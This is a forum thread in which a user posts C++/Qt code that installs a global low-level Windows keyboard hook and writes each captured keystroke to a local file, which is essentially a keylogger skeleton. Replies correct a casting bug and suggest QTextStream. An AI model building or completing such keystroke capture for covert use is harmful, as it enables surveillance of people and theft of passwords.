Windows hook using windows api in QT

[Lesiok]

I think that this is not a version of the code with which you write in the first post. Line 63 is empty.

[davinciomare]

When i use const char* to print with qdebug the program crash.
Code:

#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <iostream>
#include <QFile>
#include <QString>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
 
HHOOK hHook = NULL;
 
using namespace std;
 
QByteArray contenido="Estoy escribiendo a un archivo";
QFile ap("C:/Users/moh/Desktop/documento.txt");
QString ok;
 
void UpdateKeyState(BYTE *keystate, int keycode)
{
    keystate[keycode] = GetKeyState(keycode);
}
 
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    QFile ap("C:/Users/moh/Desktop/documento.txt");
 
 
    //WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
    //LPARAM is the key information
   // if( wParam == WM_KEYDOWN )
        //qDebug() << "Key Pressed!";
 
    //Get the key information
 
    KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
 
    wchar_t buffer[5];
 
    //get the keyboard state
    BYTE keyboard_state[256];
    GetKeyboardState(keyboard_state);
    UpdateKeyState(keyboard_state, VK_SHIFT);
    UpdateKeyState(keyboard_state, VK_CAPITAL);
    UpdateKeyState(keyboard_state, VK_CONTROL);
    UpdateKeyState(keyboard_state, VK_MENU);
 
 
 
    //Get Keyboard Layout
    HKL keyboard_layout = GetKeyboardLayout(0);
 
    //Get the name
    char lpszName[0x100] = {0};
 
    DWORD dwMsg = 1;
    dwMsg += cKey.scanCode << 16;
    dwMsg += cKey.flags << 24;
 
    int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
    //try to convert the key info
    int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
    buffer[4] = L'\0';
    //qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
    QString num = QString::fromUtf16((ushort*)buffer);
    // Print the output
 
    int cod = cKey.vkCode;
 
    if( wParam == WM_KEYDOWN ){
        //qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
        ap.open(QIODevice::WriteOnly | QIODevice::Text);
        ap.write((const char*)result);
        ap.close();
 
 
 
    }
 
    return CallNextHookEx(hHook, nCode, wParam, lParam);
 
 
}
 
int main(int argc, char *argv[])
{
 
    QCoreApplication a(argc, argv);
 
 
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
    if(hHook == NULL){
        qDebug() << "error";
    }
 
    /*
       if(!ap.exists()){
        qDebug() << "El archivo seleccionado no existe";
        return 1;
    }
    ap.open(QIODevice::WriteOnly | QIODevice::Text);
    if (!ap.isOpen()){
        qDebug() << "El archivo no se ha podido abrir";
        return 2;
    }
    //contenido = ap.readAll();
    ap.write(contenido);
    ap.flush();
    ap.close();
*/
 
    return a.exec();
}

#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <iostream>
#include <QFile>
#include <QString>
#include <Windows.h>
#pragma comment(lib,"user32.lib")

HHOOK hHook = NULL;

using namespace std;

QByteArray contenido="Estoy escribiendo a un archivo";
QFile ap("C:/Users/moh/Desktop/documento.txt");
QString ok;

void UpdateKeyState(BYTE *keystate, int keycode)
{
    keystate[keycode] = GetKeyState(keycode);
}

LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    QFile ap("C:/Users/moh/Desktop/documento.txt");


    //WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
    //LPARAM is the key information
   // if( wParam == WM_KEYDOWN )
        //qDebug() << "Key Pressed!";

    //Get the key information

    KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);

    wchar_t buffer[5];

    //get the keyboard state
    BYTE keyboard_state[256];
    GetKeyboardState(keyboard_state);
    UpdateKeyState(keyboard_state, VK_SHIFT);
    UpdateKeyState(keyboard_state, VK_CAPITAL);
    UpdateKeyState(keyboard_state, VK_CONTROL);
    UpdateKeyState(keyboard_state, VK_MENU);



    //Get Keyboard Layout
    HKL keyboard_layout = GetKeyboardLayout(0);

    //Get the name
    char lpszName[0x100] = {0};

    DWORD dwMsg = 1;
    dwMsg += cKey.scanCode << 16;
    dwMsg += cKey.flags << 24;

    int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
    //try to convert the key info
    int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
    buffer[4] = L'\0';
    //qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
    QString num = QString::fromUtf16((ushort*)buffer);
    // Print the output

    int cod = cKey.vkCode;

    if( wParam == WM_KEYDOWN ){
        //qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
        ap.open(QIODevice::WriteOnly | QIODevice::Text);
        ap.write((const char*)result);
        ap.close();



    }

    return CallNextHookEx(hHook, nCode, wParam, lParam);


}

int main(int argc, char *argv[])
{

    QCoreApplication a(argc, argv);


    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
    if(hHook == NULL){
        qDebug() << "error";
    }

    /*
       if(!ap.exists()){
        qDebug() << "El archivo seleccionado no existe";
        return 1;
    }
    ap.open(QIODevice::WriteOnly | QIODevice::Text);
    if (!ap.isOpen()){
        qDebug() << "El archivo no se ha podido abrir";
        return 2;
    }
    //contenido = ap.readAll();
    ap.write(contenido);
    ap.flush();
    ap.close();
*/

    return a.exec();
}

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Basically the problem is here:
ap.write((const char*)cod);

When i write this the program crash. And i can't return other values only 4 arguments since MyLowLevelKeyBoardProc. Some way to return my key pressed is for learning?

[Lesiok]

You do not necessarily know what you're doing. "(const char*)cod" is the "cod variable contains the address." I do not think the variable cod was a pointer to memory.
I guess you must first learn the basics of C ++ and later use libraries as powerful as Qt

[davinciomare]

yes i am not very well in c++ but i was searching and you right a lot of documentation about this so it's right. thx solved

[d_stranz]

yes i am not very well in c++

I do not know if you have experience with Python, but many of your mistakes make me think so. In Python, you can "print" anything, and the Python interpreter will find a way to convert the object into a printable string. So in Python, you can write "print( cod )" and the interpreter will convert "cod" into a string and print it.

You can't do the same thing in C++. In C++, -you- must convert the object into a string before it can be printed. "cod" is an integer, so you have to convert it using QString::num() before trying to print it. A cast -is not- conversion. Using (const char *)cod does not convert cod to a string. It tells C++ "cod is actually not an int, it is a pointer to a const char, so please use it that way". Of course, that is not true. "cod" is still an int, and trying to use it like it was a pointer to a string will cause a crash.

[davinciomare]

this was the problem that i have with other things. this is the biggest problem that i have and you explain me very well stranz

[davinciomare]

so everytime if i want to print something i must to convert to string ok and write in file. And if for example i have one char the conversion? ok so i must do always the same conversion char take me problems but it's ok this was my problem. I didnt understand this.

[Lesiok]

Read about QTextStream.